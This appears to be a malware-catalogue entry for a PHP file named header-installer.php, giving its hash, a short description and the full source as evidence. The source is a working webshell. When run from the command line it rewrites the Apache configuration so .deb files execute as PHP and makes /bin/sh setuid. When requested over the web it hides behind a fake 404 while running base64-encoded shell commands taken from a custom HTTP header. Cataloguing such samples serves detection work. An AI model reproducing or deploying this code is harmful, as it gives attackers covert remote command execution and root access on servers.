header-installer.php
Encoded HTTP header command webshellHeader webshell conceals execution with 404
SHA-256e6220ddb27e87e4a914dfb4333d3cc42ffb4ff16efaac3c94b9f91ba29416fe3
MaleculeO₃(CEr₂Pr)H₅(F₃Cm₃Db₂Os₃Po)
Evidence
1<?php
2if (PHP_SAPI === 'cli') {
3 file_put_contents('/etc/httpd.conf', '
4php_flag engine on
5AddHandler application/x-httpd-php .deb
6', FILE_APPEND);
7 system('/bin/httpd -k restart -f /etc/httpd.conf && chmod u+s /bin/sh');
8} else {
9 header('HTTP/1.1 404 Not Found');
10 echo base64_encode(shell_exec(base64_decode($_SERVER['HTTP_NSC_LDAP'])));
11}